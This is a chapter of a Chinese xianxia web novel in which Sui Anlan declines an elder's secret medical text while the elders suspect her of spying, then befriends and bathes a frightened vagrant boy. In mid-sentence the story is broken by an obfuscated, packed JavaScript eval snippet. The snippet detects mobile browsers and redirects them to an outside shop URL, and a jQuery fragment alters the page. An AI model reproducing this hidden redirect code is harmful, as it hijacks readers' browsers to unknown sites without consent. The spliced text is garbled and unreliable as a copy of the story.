翌日一大早,明月就抱着厚厚的医书典籍找到岁安澜。
岁安澜睡眼朦胧,抬头就看见那厚重的典籍,吓得差点从床上掉下来:“这么多啊!”
“对啊,济世之道怎么能全依赖法术?君主早有明令,我君山弟子皆须通晓药理。”
明月将书册轻轻放在案几上,认真的说道:“昨晚真的是辛苦你了,还好我用百年灵芝把你的灵力给你补了回来。”
“谢谢明月姐,你真好。”岁安澜心里暖融融的。
“客气什么?快别睡了,我给你带了吃的,吃完我就带你识字。”
“好!”岁安澜顿时睡意全无,利落得起身下榻。
自此,她白日就跟着明月到春溪堂观摩病人的症状诊脉开方,顺便认识草药;夜晚则秉灯苦读,认字习书。
不过几日,岁安澜要参加君山选拔的消息便传遍了山门。
今日,听夜长老特地召见她。
“不知听夜长老找我何事?”岁安澜端坐在台下。
“听闻你最近苦读医术,可是有意要入我君山门下?”
“禀告长老,确有此意。”
听夜默不作声得点了点头,挥手间变幻出一本书册,稳稳落到岁安澜面前。
书册封面上写着三个字“灵枢经”。
“这次入门测试会考到的题目都在这里,你好好温习就是。”
岁安澜目瞪口呆得看着面前的《灵枢经》,虽然她不知道这里写着的是什么,但直觉告诉她,这一定是极其重要的东西。
“若你能潜心研习,必能如你所愿。”听夜看向岁安澜的目光里带了丝探究。
“我不要。”岁安澜斩钉截铁道。
“为什么?”听夜皱眉,她怀疑是不是自己的耳朵听错了。
这灵枢经可是记载多少疑难杂症,只有三位的长老的亲传弟子才有资格看,她竟然拒绝?
“不瞒听夜长老,我、我只想入晓月长老的门下。”岁安澜眼神躲闪,吞吞吐吐。
她在春溪堂并无交好的朋友,听夜长老门下的弟子她更是见都没有见过,只有进了晓月长老的门下,她才能和明月向陪伴。
听夜心里暗自琢磨,澹烟堂主巡逻和培育药材的重任,进门只需要两个比试,一是懂得些普通病症,二是要有武艺傍身。
两堂相比之下,澹烟堂更注重武艺,确实比春溪堂好进多了。
她饶有兴趣的看了一眼身后,打趣道:“是因为宿云长老的脾气太差了吗?”
岁安澜惊慌失措:“绝非此意!”
“好了好了,逗你玩的,既如此,那这本《灵枢经》我就收回去了?”听夜打探道,想要看她是不是真心不需要。
“好!”岁安澜爽快的双手递上。
听夜只好收下。
待岁安澜离开后,宿云长老殿后出来,一改往日的病态。
听夜把玩着《灵枢经》,啧啧两声道:“君山秘籍都摆脸上了,她也不要,真是个实心眼的。”
“现在还觉得人家是正清门派来的奸细吗?”她抬头看着宿云问道。
宿云冷哼一声,“许是藏得深罢了,再说了,你这般明目张胆的试探,傻子都不会上当!”
听夜知道她性格固执,只好点头:“行行行,你说什么都对。只是,你既然对她存疑,何不直接把她送回正清门?”
“人家前些时日救了君山的病人,这事你不知道?”宿云反唇相讥。
“哟?原来您老人家还记得她替你们春溪堂解围的情分。”听夜慵懒得躺在主位的榻上。
“昆仑山的弟子在前往正清门的路上被妖怪袭击,好巧不巧就在我们君山脚下,这个蝶妖绝对不能放走!”宿云厉声道。
“要是她真的是正清门的细作,正好将计就计,反将一军。要是不是,看在墨雨眠那么护着她的份上,也可以利用她制衡墨雨眠。而且流萤碟的治愈能力,本就是世间难得的药材!”
听夜听完这句话却笑道,“你要是真像自己所说的那么无情就好了。”
岁安澜在回去的路上,顺便去春溪堂找了明月,两人并肩在廊下散步。
“听夜长老找你是有什么是事吗?”明月问。
岁安澜摇摇头:“只是说些我进君山的事情是真是假。”
明月闻言拉起她的手,笑道:“这么说,想必听夜长老也很重视你,你现在更要留下来了。”
两人正说笑着,突然听到一阵打闹声。
“哪来的乞丐?”
“给我放手!听见没有?!”
两人转头望去,只见院内的病人打了起来,春溪堂的弟子正焦急的拉架。
“别打了!”两人跑过去将几人分开。
“怎么回事?”岁安澜问道。
她低头,看见被打的人正是那个脏兮兮的少年。
他昏倒时小蕊已经帮他擦干净脸了,没想到过几天就又变成灰头灰脑的样子。
“女医,你们可算来了!这个人无故发疯,撞到了好多人,问他什么话也不肯说,大半夜胡言乱语扰人睡觉,刚刚还来抢我们的饭食!”
“就是!”几人附和。
小蕊闻讯赶来,闻言皱眉道:“其他的我不清楚,春溪堂的饭菜可是按量供应的,怎么会不够呢?”
“我觉得不像是为了一口吃食,这孩子平时就疯疯癫癫的。”明月道。
岁安澜看了一眼少年,他正跪在地上,拼命往嘴里塞着馒头,一边咀嚼一边用警惕得眼神看着她。
她越看心里越发苦涩,便小声对明月道:“你安抚病人,我将这孩子带走。”
“好。”
岁安澜缓步上前,不料那个少年像受惊般一把推开她的手,还将手里的馒头狠狠得砸向她。
“小心!这孩子看上去神志不清,还是等听夜长老有时间再去请她定夺吧。”小蕊劝道。
岁安澜对着一脸担心的明月摇了摇头,再次上前,安抚道:“没事的,我不会伤害你的。”
少年却猛地向后倒去,脊背撞在墙面上,脏乱的发丝间那双明亮的眼睛里透露出满满的惊恐。
岁安澜没有继续靠近他。
她蹲下身,手掌慢慢摊开,一抹流光从掌心溢出,随后形成一只蝴蝶的轮廓,缓缓飞向少年。
蝴蝶进入少年体内后,他能感受到自己的心竟然在慢慢平静下来。
岁安澜再次向他伸出手。
少年依然没动。
岁安澜没有气馁,而是继续保持这个姿势。
时间一分一秒流逝,连她身后围观的人都开始散了,岁安澜还是依然伸着手。
终于,少年没有察觉出她的恶意,于是就尝试着把手放在她掌心上。
那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16720222|186051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
双黑黢黢的手放在岁安澜洁白的掌心十分不搭,可她没有嫌弃,反而是握住他的手,拉着他站起身。
“跟我走吧。”岁安澜对他笑笑。
少年低下头。
岁安澜让明月给她找了一间空屋子,恰好是在山谷中。虽然偏僻,但很适合少年居住。
谷中有一处瀑布,落下形成一座水池。君山只下过那一日雪,这些时日已经大放晴光,也有些燥热。
岁安澜蹲下,舀起一捧清水,趁着少年不备往他那泼水。
水珠只是滴落在少年面前,但还是溅了他一脸水花。
少年楞了一下,看着自己湿润的衣襟,抬头看向对面笑得合不拢嘴的岁安澜。
少女眸子清澈,笑起来眼睛弯弯的,像月牙。
下一秒,他学着岁安澜的样子,双手没入水中,猛地向前一推!
“哗!”
“好呀!你竟然敢还手?”
岁安澜笑着,索性脱了鞋袜,胡乱将裙角一系。她赤足踏入水池中,弯腰用双手掀起更大的浪花。
少年笨拙得躲闪着,还不忘反击。
两人打闹了一会儿,岁安澜就让他在池水中梳洗了一番,自己下山拿了一套给病人准备的男衣给他。
小蕊还跟她说,他刚来的时候大家也有想过给他换一身衣裳。结果这孩子怕生,像个猴子一样东跑西爬,没捉到他也就算了,有的女医还被他打伤了。
岁安澜还专门拿了一把剪刀,准备给他剪头发。
没想到少年看见锋利的东西就害怕,摸起水里的石子就砸向岁安澜。
幸好他收了力,石子掷到半空就落下。
“喂!我好心帮你剪头发,你别狗咬吕洞宾!”岁安澜皱眉,双手叉腰故作不悦。
她这些天跟着明月学习,也认得几个成语了。
少年本来还心有余悸,但看到岁安澜一副生气的表情,心里再怎么害怕,还是拿起岸上的衣服遮住自己的身体,向她跪着走去。
池水还算深,遮住了少年腹下的身子。
岁安澜不懂男女有别,也看不懂他为何这副扭捏的姿态。
她要给他修理头发,不然头上顶着这乱糟糟的鸡窝该怎么见人?
于是岁安澜一把扯开少年遮挡在身前的破衣服,露出一大片风光。
许是少年常年流浪的原因,他的皮肤呈现出小麦色。让岁安澜意外的是,原本以为他是豆芽身材,没想到却是宽肩窄腰,肌肉线条流畅。
“转过去,转过去!”岁安澜催促道,等她剪完还要给两人带饭,真是走了一个柳亭,又来一个‘柳亭''!
少年听话转身。
岁安澜自顾自的修剪着,她不知道男人的头发怎么剪,便按照记忆里墨雨眠的头发剪。
他的头发有些毛躁,不知道几个月没洗了。岁安澜只好先用水淋湿少年的头发。
水珠从额头上流下,挂在他长长的睫毛上,在反光的水面照耀下闪着晶莹的光,随后又顺着他的脸颊一路向下,经过嘴唇、喉结......
“好了!”
不知过了多久,岁安澜才完工。
她往少年脸上抹了一把,洗净污垢。
“哟,长得还挺俊美的。”岁安澜指了指岸上的衣服,“我现在下山给你带饭,你穿好衣服就别乱跑。”
少年点了点头。